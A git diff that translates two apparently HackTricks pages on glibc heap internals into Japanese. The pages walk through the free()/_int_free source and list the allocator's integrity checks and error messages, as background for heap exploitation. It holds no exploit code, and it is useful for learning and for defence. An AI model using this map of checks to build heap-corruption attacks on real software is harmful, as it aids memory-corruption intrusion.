a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md @@ -4,93 +4,90 @@ ## Free Order Summary -(No checks are explained in this summary and some case have been omitted for brevity) +(この要約ではチェックは説明されておらず、簡潔さのためにいくつかのケースが省略されています) -1. If the address is null don't do anything -2. If the chunk was mmaped, mummap it and finish -3. Call `_int_free`: - 1. If possible, add the chunk to the tcache - 2. If possible, add the chunk to the fast bin - 3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list +1. アドレスがnullの場合は何もしない +2. チャンクがmmapされた場合は、mummapして終了する +3. `_int_free`を呼び出す: + 1. 可能であれば、チャンクをtcacheに追加する + 2. 可能であれば、チャンクをfast binに追加する + 3. 必要に応じてチャンクを統合するために`_int_free_merge_chunk`を呼び出し、未ソートリストに追加する ## \_\_libc_free -`Free` calls `__libc_free`. +`Free`は`__libc_free`を呼び出します。 -- If the address passed is Null (0) don't do anything. -- Check pointer tag -- If the chunk is `mmaped`, `mummap` it and that all -- If not, add the color and call `_int_free` over it +- 渡されたアドレスがNull (0)の場合は何もしない。 +- ポインタタグをチェックする +- チャンクが`mmaped`の場合は、`mummap`して終了する +- そうでない場合は、色を追加し、上に`_int_free`を呼び出す
__lib_free code - ```c void __libc_free (void *mem) { - mstate ar_ptr; - mchunkptr p; /* chunk corresponding to mem */ +mstate ar_ptr; +mchunkptr p; /* chunk corresponding to mem */ - if (mem == 0) /* free(0) has no effect */ - return; +if (mem == 0) /* free(0) has no effect */ +return; - /* Quickly check that the freed pointer matches the tag for the memory. - This gives a useful double-free detection. */ - if (__glibc_unlikely (mtag_enabled)) - *(volatile char *)mem; +/* Quickly check that the freed pointer matches the tag for the memory. +This gives a useful double-free detection. */ +if (__glibc_unlikely (mtag_enabled)) +*(volatile char *)mem; - int err = errno; +int err = errno; - p = mem2chunk (mem); +p = mem2chunk (mem); - if (chunk_is_mmapped (p)) /* release mmapped memory. */ - { - /* See if the dynamic brk/mmap threshold needs adjusting. - Dumped fake mmapped chunks do not affect the threshold. */ - if (!mp_.no_dyn_threshold - && chunksize_nomask (p) > mp_.mmap_threshold - && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) - { - mp_.mmap_threshold = chunksize (p); - mp_.trim_threshold = 2 * mp_.mmap_threshold; - LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, - mp_.mmap_threshold, mp_.trim_threshold); - } - munmap_chunk (p); - } - else - { - MAYBE_INIT_TCACHE (); +if (chunk_is_mmapped (p)) /* release mmapped memory. */ +{ +/* See if the dynamic brk/mmap threshold needs adjusting. +Dumped fake mmapped chunks do not affect the threshold. */ +if (!mp_.no_dyn_threshold +&& chunksize_nomask (p) > mp_.mmap_threshold +&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX) +{ +mp_.mmap_threshold = chunksize (p); +mp_.trim_threshold = 2 * mp_.mmap_threshold; +LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, +mp_.mmap_threshold, mp_.trim_threshold); +} +munmap_chunk (p); +} +else +{ +MAYBE_INIT_TCACHE (); - /* Mark the chunk as belonging to the library again. */ - (void)tag_region (chunk2mem (p), memsize (p)); +/* Mark the chunk as belonging to the library again. */ +(void)tag_region (chunk2mem (p), memsize (p)); - ar_ptr = arena_for_chunk (p); - _int_free (ar_ptr, p, 0); - } +ar_ptr = arena_for_chunk (p); +_int_free (ar_ptr, p, 0); +} - __set_errno (err); +__set_errno (err); } libc_hidden_def (__libc_free) ``` -
## \_int_free ### \_int_free start -It starts with some checks making sure: +いくつかのチェックから始まり、次のことを確認します: -- the **pointer** is **aligned,** or trigger error `free(): invalid pointer` -- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size` +- **ポインタ**が**アラインされている**、さもなくばエラー`free(): invalid pointer`をトリガーします +- **サイズ**が最小値未満でないこと、また**サイズ**も**アラインされている**こと、さもなくばエラー:`free(): invalid size`
_int_free start - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28 @@ -99,288 +96,279 @@ It starts with some checks making sure: static void _int_free (mstate av, mchunkptr p, int have_lock) { - INTERNAL_SIZE_T size; /* its size */ - mfastbinptr *fb; /* associated fastbin */ +INTERNAL_SIZE_T size; /* its size */ +mfastbinptr *fb; /* associated fastbin */ - size = chunksize (p); +size = chunksize (p); - /* Little security check which won't hurt performance: the - allocator never wraps around at the end of the address space. - Therefore we can exclude some size values which might appear - here by accident or by "design" from some intruder. */ - if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) - || __builtin_expect (misaligned_chunk (p), 0)) - malloc_printerr ("free(): invalid pointer"); - /* We know that each chunk is at least MINSIZE bytes in size or a - multiple of MALLOC_ALIGNMENT. */ - if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) - malloc_printerr ("free(): invalid size"); +/* Little security check which won't hurt performance: the +allocator never wraps around at the end of the address space. +Therefore we can exclude some size values which might appear +here by accident or by "design" from some intruder. */ +if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) +|| __builtin_expect (misaligned_chunk (p), 0)) +malloc_printerr ("free(): invalid pointer"); +/* We know that each chunk is at least MINSIZE bytes in size or a +multiple of MALLOC_ALIGNMENT. */ +if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) +malloc_printerr ("free(): invalid size"); - check_inuse_chunk(av, p); +check_inuse_chunk(av, p); ``` -
### \_int_free tcache -It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and: +最初に、このチャンクを関連するtcacheに割り当てようとします。ただし、いくつかのチェックが事前に行われます。解放されたチャンクと同じインデックスのtcache内のすべてのチャンクをループし: -- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache` -- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2` -- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2` +- `mp_.tcache_count`よりもエントリが多い場合: `free(): too many chunks detected in tcache` +- エントリが整列していない場合: free(): `unaligned chunk detected in tcache 2` +- 解放されたチャンクがすでに解放されており、tcache内のチャンクとして存在する場合: `free(): double free detected in tcache 2` -If all goes well, the chunk is added to the tcache and the functions returns. +すべてがうまくいけば、チャンクはtcacheに追加され、関数は戻ります。
_int_free tcache - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7 #if USE_TCACHE - { - size_t tc_idx = csize2tidx (size); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - /* Check to see if it's already in the tcache. */ - tcache_entry *e = (tcache_entry *) chunk2mem (p); +{ +size_t tc_idx = csize2tidx (size); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +/* Check to see if it's already in the tcache. */ +tcache_entry *e = (tcache_entry *) chunk2mem (p); - /* This test succeeds on double free. However, we don't 100% - trust it (it also matches random payload data at a 1 in - 2^ chance), so verify it's not an unlikely - coincidence before aborting. */ - if (__glibc_unlikely (e->key == tcache_key)) - { - tcache_entry *tmp; - size_t cnt = 0; - LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); - for (tmp = tcache->entries[tc_idx]; - tmp; - tmp = REVEAL_PTR (tmp->next), ++cnt) - { - if (cnt >= mp_.tcache_count) - malloc_printerr ("free(): too many chunks detected in tcache"); - if (__glibc_unlikely (!aligned_OK (tmp))) - malloc_printerr ("free(): unaligned chunk detected in tcache 2"); - if (tmp == e) - malloc_printerr ("free(): double free detected in tcache 2"); - /* If we get here, it was a coincidence. We've wasted a - few cycles, but don't abort. */ - } - } +/* This test succeeds on double free. However, we don't 100% +trust it (it also matches random payload data at a 1 in +2^ chance), so verify it's not an unlikely +coincidence before aborting. */ +if (__glibc_unlikely (e->key == tcache_key)) +{ +tcache_entry *tmp; +size_t cnt = 0; +LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); +for (tmp = tcache->entries[tc_idx]; +tmp; +tmp = REVEAL_PTR (tmp->next), ++cnt) +{ +if (cnt >= mp_.tcache_count) +malloc_printerr ("free(): too many chunks detected in tcache"); +if (__glibc_unlikely (!aligned_OK (tmp))) +malloc_printerr ("free(): unaligned chunk detected in tcache 2"); +if (tmp == e) +malloc_printerr ("free(): double free detected in tcache 2"); +/* If we get here, it was a coincidence. We've wasted a +few cycles, but don't abort. */ +} +} - if (tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (p, tc_idx); - return; - } - } - } +if (tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (p, tc_idx); +return; +} +} +} #endif ``` -
### \_int_free fast bin -Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk. +まず、サイズがファストビンに適しているか確認し、トップチャンクに近づけることができるか確認します。 -Then, add the freed chunk at the top of the fast bin while performing some checks: +次に、いくつかのチェックを行いながら、解放されたチャンクをファストビンのトップに追加します: -- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)` -- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)` -- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)` +- チャンクのサイズが無効(大きすぎるか小さすぎる)な場合、トリガー: `free(): invalid next size (fast)` +- 追加されたチャンクがすでにファストビンのトップであった場合: `double free or corruption (fasttop)` +- トップのチャンクのサイズが追加しているチャンクのサイズと異なる場合: `invalid fastbin entry (free)`
_int_free Fast Bin - ```c - // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 - /* - If eligible, place chunk on a fastbin so it can be found - and used quickly in malloc. - */ +/* +If eligible, place chunk on a fastbin so it can be found +and used quickly in malloc. +*/ - if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) +if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) #if TRIM_FASTBINS - /* - If TRIM_FASTBINS set, don't place chunks - bordering top into fastbins - */ - && (chunk_at_offset(p, size) != av->top) +/* +If TRIM_FASTBINS set, don't place chunks +bordering top into fastbins +*/ +&& (chunk_at_offset(p, size) != av->top) #endif - ) { +) { - if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) - <= CHUNK_HDR_SZ, 0) - || __builtin_expect (chunksize (chunk_at_offset (p, size)) - >= av->system_mem, 0)) - { - bool fail = true; - /* We might not have a lock at this point and concurrent modifications - of system_mem might result in a false positive. Redo the test after - getting the lock. */ - if (!have_lock) - { - __libc_lock_lock (av->mutex); - fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ - || chunksize (chunk_at_offset (p, size)) >= av->system_mem); - __libc_lock_unlock (av->mutex); - } +if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) +<= CHUNK_HDR_SZ, 0) +|| __builtin_expect (chunksize (chunk_at_offset (p, size)) +>= av->system_mem, 0)) +{ +bool fail = true; +/* We might not have a lock at this point and concurrent modifications +of system_mem might result in a false positive. Redo the test after +getting the lock. */ +if (!have_lock) +{ +__libc_lock_lock (av->mutex); +fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ +|| chunksize (chunk_at_offset (p, size)) >= av->system_mem); +__libc_lock_unlock (av->mutex); +} - if (fail) - malloc_printerr ("free(): invalid next size (fast)"); - } +if (fail) +malloc_printerr ("free(): invalid next size (fast)"); +} - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - atomic_store_relaxed (&av->have_fastchunks, true); - unsigned int idx = fastbin_index(size); - fb = &fastbin (av, idx); +atomic_store_relaxed (&av->have_fastchunks, true); +unsigned int idx = fastbin_index(size); +fb = &fastbin (av, idx); - /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ - mchunkptr old = *fb, old2; +/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ +mchunkptr old = *fb, old2; - if (SINGLE_THREAD_P) - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - p->fd = PROTECT_PTR (&p->fd, old); - *fb = p; - } - else - do - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - old2 = old; - p->fd = PROTECT_PTR (&p->fd, old); - } - while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) - != old2); +if (SINGLE_THREAD_P) +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +p->fd = PROTECT_PTR (&p->fd, old); +*fb = p; +} +else +do +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +old2 = old; +p->fd = PROTECT_PTR (&p->fd, old); +} +while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) +!= old2); - /* Check that size of fastbin chunk at the top is the same as - size of the chunk that we are adding. We can dereference OLD - only if we have the lock, otherwise it might have already been - allocated again. */ - if (have_lock && old != NULL - && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) - malloc_printerr ("invalid fastbin entry (free)"); - } +/* Check that size of fastbin chunk at the top is the same as +size of the chunk that we are adding. We can dereference OLD +only if we have the lock, otherwise it might have already been +allocated again. */ +if (have_lock && old != NULL +&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) +malloc_printerr ("invalid fastbin entry (free)"); +} ``` -
### \_int_free finale -If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk` +チャンクがまだどのビンにも割り当てられていない場合、`_int_free_merge_chunk`を呼び出します。
_int_free finale - ```c /* - Consolidate other non-mmapped chunks as they arrive. - */ +Consolidate other non-mmapped chunks as they arrive. +*/ - else if (!chunk_is_mmapped(p)) { +else if (!chunk_is_mmapped(p)) { - /* If we're single-threaded, don't lock the arena. */ - if (SINGLE_THREAD_P) - have_lock = true; +/* If we're single-threaded, don't lock the arena. */ +if (SINGLE_THREAD_P) +have_lock = true; - if (!have_lock) - __libc_lock_lock (av->mutex); +if (!have_lock) +__libc_lock_lock (av->mutex); - _int_free_merge_chunk (av, p, size); +_int_free_merge_chunk (av, p, size); - if (!have_lock) - __libc_lock_unlock (av->mutex); - } - /* - If the chunk was allocated via mmap, release via munmap(). - */ +if (!have_lock) +__libc_lock_unlock (av->mutex); +} +/* +If the chunk was allocated via mmap, release via munmap(). +*/ - else { - munmap_chunk (p); - } +else { +munmap_chunk (p); +} } ``` -
## \_int_free_merge_chunk -This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list. +この関数は、サイズバイトのチャンクPを隣接するチャンクとマージしようとします。結果として得られたチャンクを未ソートビンリストに置きます。 -Some checks are performed: +いくつかのチェックが行われます: -- If the chunk is the top chunk: `double free or corruption (top)` -- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)` -- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)` -- If the next chunk has a too little size or too big: `free(): invalid next size (normal)` -- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating` +- チャンクがトップチャンクの場合: `double free or corruption (top)` +- 次のチャンクがアリーナの境界の外にある場合: `double free or corruption (out)` +- チャンクが使用中としてマークされていない場合(次のチャンクの`prev_inuse`で): `double free or corruption (!prev)` +- 次のチャンクのサイズが小さすぎるか大きすぎる場合: `free(): invalid next size (normal)` +- 前のチャンクが使用中でない場合、統合を試みます。しかし、prev_sizeが前のチャンクに示されたサイズと異なる場合: `corrupted size vs. prev_size while consolidating`
_int_free_merge_chunk code - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2 /* Try to merge chunk P of SIZE bytes with its neighbors. Put the - resulting chunk on the appropriate bin list. P must not be on a - bin list yet, and it can be in use. */ +resulting chunk on the appropriate bin list. P must not be on a +bin list yet, and it can be in use. */ static void _int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size) { - mchunkptr nextchunk = chunk_at_offset(p, size); +mchunkptr nextchunk = chunk_at_offset(p, size); - /* Lightweight tests: check whether the block is already the - top block. */ - if (__glibc_unlikely (p == av->top)) - malloc_printerr ("double free or corruption (top)"); - /* Or whether the next chunk is beyond the boundaries of the arena. */ - if (__builtin_expect (contiguous (av) - && (char *) nextchunk - >= ((char *) av->top + chunksize(av->top)), 0)) - malloc_printerr ("double free or corruption (out)"); - /* Or whether the block is actually not marked used. */ - if (__glibc_unlikely (!prev_inuse(nextchunk))) - malloc_printerr ("double free or corruption (!prev)"); +/* Lightweight tests: check whether the block is already the +top block. */ +if (__glibc_unlikely (p == av->top)) +malloc_printerr ("double free or corruption (top)"); +/* Or whether the next chunk is beyond the boundaries of the arena. */ +if (__builtin_expect (contiguous (av) +&& (char *) nextchunk +>= ((char *) av->top + chunksize(av->top)), 0)) +malloc_printerr ("double free or corruption (out)"); +/* Or whether the block is actually not marked used. */ +if (__glibc_unlikely (!prev_inuse(nextchunk))) +malloc_printerr ("double free or corruption (!prev)"); - INTERNAL_SIZE_T nextsize = chunksize(nextchunk); - if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) - || __builtin_expect (nextsize >= av->system_mem, 0)) - malloc_printerr ("free(): invalid next size (normal)"); +INTERNAL_SIZE_T nextsize = chunksize(nextchunk); +if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) +|| __builtin_expect (nextsize >= av->system_mem, 0)) +malloc_printerr ("free(): invalid next size (normal)"); - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - /* Consolidate backward. */ - if (!prev_inuse(p)) - { - INTERNAL_SIZE_T prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size while consolidating"); - unlink_chunk (av, p); - } +/* Consolidate backward. */ +if (!prev_inuse(p)) +{ +INTERNAL_SIZE_T prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size while consolidating"); +unlink_chunk (av, p); +} - /* Write the chunk header, maybe after merging with the following chunk. */ - size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); - _int_free_maybe_consolidate (av, size); +/* Write the chunk header, maybe after merging with the following chunk. */ +size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); +_int_free_maybe_consolidate (av, size); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md index 18a0a02b7..5c75fddec 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -1,163 +1,163 @@ -# Heap Functions Security Checks +# ヒープ関数のセキュリティチェック {{#include ../../../banners/hacktricks-training.md}} ## unlink -For more info check: +詳細については、以下を確認してください: {{#ref}} unlink.md {{#endref}} -This is a summary of the performed checks: +実施されたチェックの概要は次のとおりです: -- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk - - Error message: `corrupted size vs. prev_size` -- Check also that `P->fd->bk == P` and `P->bk->fw == P` - - Error message: `corrupted double-linked list` -- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` - - Error message: `corrupted double-linked list (not small)` +- チャンクの指定サイズが次のチャンクに示された `prev_size` と同じか確認 +- エラーメッセージ: `corrupted size vs. prev_size` +- また、`P->fd->bk == P` および `P->bk->fw == P` も確認 +- エラーメッセージ: `corrupted double-linked list` +- チャンクが小さくない場合、`P->fd_nextsize->bk_nextsize == P` および `P->bk_nextsize->fd_nextsize == P` を確認 +- エラーメッセージ: `corrupted double-linked list (not small)` ## \_int_malloc -For more info check: +詳細については、以下を確認してください: {{#ref}} malloc-and-sysmalloc.md {{#endref}} -- **Checks during fast bin search:** - - If the chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 2` - - If the forward chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected` - - If the returned chunk has a size that isn't correct because of it's index in the fast bin: - - Error message: `malloc(): memory corruption (fast)` - - If any chunk used to fill the tcache is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 3` -- **Checks during small bin search:** - - If `victim->bk->fd != victim`: - - Error message: `malloc(): smallbin double linked list corrupted` -- **Checks during consolidate** performed for each fast bin chunk: - - If the chunk is unaligned trigger: - - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - - If the chunk has a different size that the one it should because of the index it's in: - - Error message: `malloc_consolidate(): invalid chunk size` - - If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk: - - Error message: `corrupted size vs. prev_size in fastbins` -- **Checks during unsorted bin search**: - - If the chunk size is weird (too small or too big): - - Error message: `malloc(): invalid size (unsorted)` - - If the next chunk size is weird (too small or too big): - - Error message: `malloc(): invalid next size (unsorted)` - - If the previous size indicated by the next chunk differs from the size of the chunk: - - Error message: `malloc(): mismatching next->prev_size (unsorted)` - - If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`: - - Error message: `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's fd should be pointing always to the arena struct. - - If the next chunk isn't indicating that the previous is in use: - - Error message: `malloc(): invalid next->prev_inuse (unsorted)` - - If `fwd->bk_nextsize->fd_nextsize != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (nextsize)` - - If `fwd->bk->fd != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (bk)` -- **Checks during large bin (by index) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks` -- **Checks during large bin (next bigger) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks2` -- **Checks during Top chunk use:** - - `chunksize(av->top) > av->system_mem`: - - Error message: `malloc(): corrupted top size` +- **ファストビン検索中のチェック:** +- チャンクがアラインされていない場合: +- エラーメッセージ: `malloc(): unaligned fastbin chunk detected 2` +- フォワードチャンクがアラインされていない場合: +- エラーメッセージ: `malloc(): unaligned fastbin chunk detected` +- 返されたチャンクのサイズがファストビンのインデックスのために正しくない場合: +- エラーメッセージ: `malloc(): memory corruption (fast)` +- tcacheを埋めるために使用されたチャンクがアラインされていない場合: +- エラーメッセージ: `malloc(): unaligned fastbin chunk detected 3` +- **スモールビン検索中のチェック:** +- `victim->bk->fd != victim` の場合: +- エラーメッセージ: `malloc(): smallbin double linked list corrupted` +- **各ファストビンチャンクに対して実施される統合中のチェック:** +- チャンクがアラインされていない場合トリガー: +- エラーメッセージ: `malloc_consolidate(): unaligned fastbin chunk detected` +- チャンクがインデックスのために異なるサイズを持っている場合: +- エラーメッセージ: `malloc_consolidate(): invalid chunk size` +- 前のチャンクが使用中でなく、前のチャンクのサイズが prev_chunk に示されたサイズと異なる場合: +- エラーメッセージ: `corrupted size vs. prev_size in fastbins` +- **ソートされていないビン検索中のチェック:** +- チャンクサイズが異常(小さすぎるまたは大きすぎる)場合: +- エラーメッセージ: `malloc(): invalid size (unsorted)` +- 次のチャンクサイズが異常(小さすぎるまたは大きすぎる)場合: +- エラーメッセージ: `malloc(): invalid next size (unsorted)` +- 次のチャンクによって示された前のサイズがチャンクのサイズと異なる場合: +- エラーメッセージ: `malloc(): mismatching next->prev_size (unsorted)` +- `victim->bck->fd == victim` または `victim->fd == av (arena)` でない場合: +- エラーメッセージ: `malloc(): unsorted double linked list corrupted` +- 常に最後のものをチェックしているため、その fd は常に arena 構造体を指している必要があります。 +- 次のチャンクが前のチャンクが使用中であることを示していない場合: +- エラーメッセージ: `malloc(): invalid next->prev_inuse (unsorted)` +- `fwd->bk_nextsize->fd_nextsize != fwd` の場合: +- エラーメッセージ: `malloc(): largebin double linked list corrupted (nextsize)` +- `fwd->bk->fd != fwd` の場合: +- エラーメッセージ: `malloc(): largebin double linked list corrupted (bk)` +- **大きなビン(インデックスによる)検索中のチェック:** +- `bck->fd-> bk != bck` の場合: +- エラーメッセージ: `malloc(): corrupted unsorted chunks` +- **大きなビン(次の大きい)検索中のチェック:** +- `bck->fd-> bk != bck` の場合: +- エラーメッセージ: `malloc(): corrupted unsorted chunks2` +- **トップチャンク使用中のチェック:** +- `chunksize(av->top) > av->system_mem` の場合: +- エラーメッセージ: `malloc(): corrupted top size` ## `tcache_get_n` -- **Checks in `tcache_get_n`:** - - If chunk is misaligned: - - Error message: `malloc(): unaligned tcache chunk detected` +- **`tcache_get_n` のチェック:** +- チャンクがアラインされていない場合: +- エラーメッセージ: `malloc(): unaligned tcache chunk detected` ## `tcache_thread_shutdown` -- **Checks in `tcache_thread_shutdown`:** - - If chunk is misaligned: - - Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected` +- **`tcache_thread_shutdown` のチェック:** +- チャンクがアラインされていない場合: +- エラーメッセージ: `tcache_thread_shutdown(): unaligned tcache chunk detected` ## `__libc_realloc` -- **Checks in `__libc_realloc`:** - - If old pointer is misaligned or the size was incorrect: - - Error message: `realloc(): invalid pointer` +- **`__libc_realloc` のチェック:** +- 古いポインタがアラインされていないか、サイズが不正な場合: +- エラーメッセージ: `realloc(): invalid pointer` ## `_int_free` -For more info check: +詳細については、以下を確認してください: {{#ref}} free.md {{#endref}} -- **Checks during the start of `_int_free`:** - - Pointer is aligned: - - Error message: `free(): invalid pointer` - - Size larger than `MINSIZE` and size also aligned: - - Error message: `free(): invalid size` -- **Checks in `_int_free` tcache:** - - If there are more entries than `mp_.tcache_count`: - - Error message: `free(): too many chunks detected in tcache` - - If the entry is not aligned: - - Error message: `free(): unaligned chunk detected in tcache 2` - - If the freed chunk was already freed and is present as chunk in the tcache: - - Error message: `free(): double free detected in tcache 2` -- **Checks in `_int_free` fast bin:** - - If the size of the chunk is invalid (too big or small) trigger: - - Error message: `free(): invalid next size (fast)` - - If the added chunk was already the top of the fast bin: - - Error message: `double free or corruption (fasttop)` - - If the size of the chunk at the top has a different size of the chunk we are adding: - - Error message: `invalid fastbin entry (free)` +- **`_int_free` の開始時のチェック:** +- ポインタがアラインされている: +- エラーメッセージ: `free(): invalid pointer` +- サイズが `MINSIZE` より大きく、サイズもアラインされている: +- エラーメッセージ: `free(): invalid size` +- **`_int_free` tcache のチェック:** +- `mp_.tcache_count` よりも多くのエントリがある場合: +- エラーメッセージ: `free(): too many chunks detected in tcache` +- エントリがアラインされていない場合: +- エラーメッセージ: `free(): unaligned chunk detected in tcache 2` +- 解放されたチャンクがすでに解放されており、tcache にチャンクとして存在する場合: +- エラーメッセージ: `free(): double free detected in tcache 2` +- **`_int_free` ファストビンのチェック:** +- チャンクのサイズが無効(大きすぎるまたは小さすぎる)場合トリガー: +- エラーメッセージ: `free(): invalid next size (fast)` +- 追加されたチャンクがすでにファストビンのトップであった場合: +- エラーメッセージ: `double free or corruption (fasttop)` +- トップのチャンクのサイズが追加するチャンクのサイズと異なる場合: +- エラーメッセージ: `invalid fastbin entry (free)` ## **`_int_free_merge_chunk`** -- **Checks in `_int_free_merge_chunk`:** - - If the chunk is the top chunk: - - Error message: `double free or corruption (top)` - - If the next chunk is outside of the boundaries of the arena: - - Error message: `double free or corruption (out)` - - If the chunk is not marked as used (in the prev_inuse from the following chunk): - - Error message: `double free or corruption (!prev)` - - If the next chunk has a too little size or too big: - - Error message: `free(): invalid next size (normal)` - - If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk: - - Error message: `corrupted size vs. prev_size while consolidating` +- **`_int_free_merge_chunk` のチェック:** +- チャンクがトップチャンクの場合: +- エラーメッセージ: `double free or corruption (top)` +- 次のチャンクがアリーナの境界の外にある場合: +- エラーメッセージ: `double free or corruption (out)` +- チャンクが使用中としてマークされていない場合(次のチャンクの prev_inuse において): +- エラーメッセージ: `double free or corruption (!prev)` +- 次のチャンクが小さすぎるまたは大きすぎる場合: +- エラーメッセージ: `free(): invalid next size (normal)` +- 前のチャンクが使用中でない場合、統合を試みます。しかし、`prev_size` が前のチャンクに示されたサイズと異なる場合: +- エラーメッセージ: `corrupted size vs. prev_size while consolidating` ## **`_int_free_create_chunk`** -- **Checks in `_int_free_create_chunk`:** - - Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: - - Error message: `free(): corrupted unsorted chunks` +- **`_int_free_create_chunk` のチェック:** +- ソートされていないビンにチャンクを追加する際、`unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` を確認: +- エラーメッセージ: `free(): corrupted unsorted chunks` ## `do_check_malloc_state` -- **Checks in `do_check_malloc_state`:** - - If misaligned fast bin chunk: - - Error message: `do_check_malloc_state(): unaligned fastbin chunk detected` +- **`do_check_malloc_state` のチェック:** +- アラインされていないファストビンチャンクの場合: +- エラーメッセージ: `do_check_malloc_state(): unaligned fastbin chunk detected` ## `malloc_consolidate` -- **Checks in `malloc_consolidate`:** - - If misaligned fast bin chunk: - - Error message: 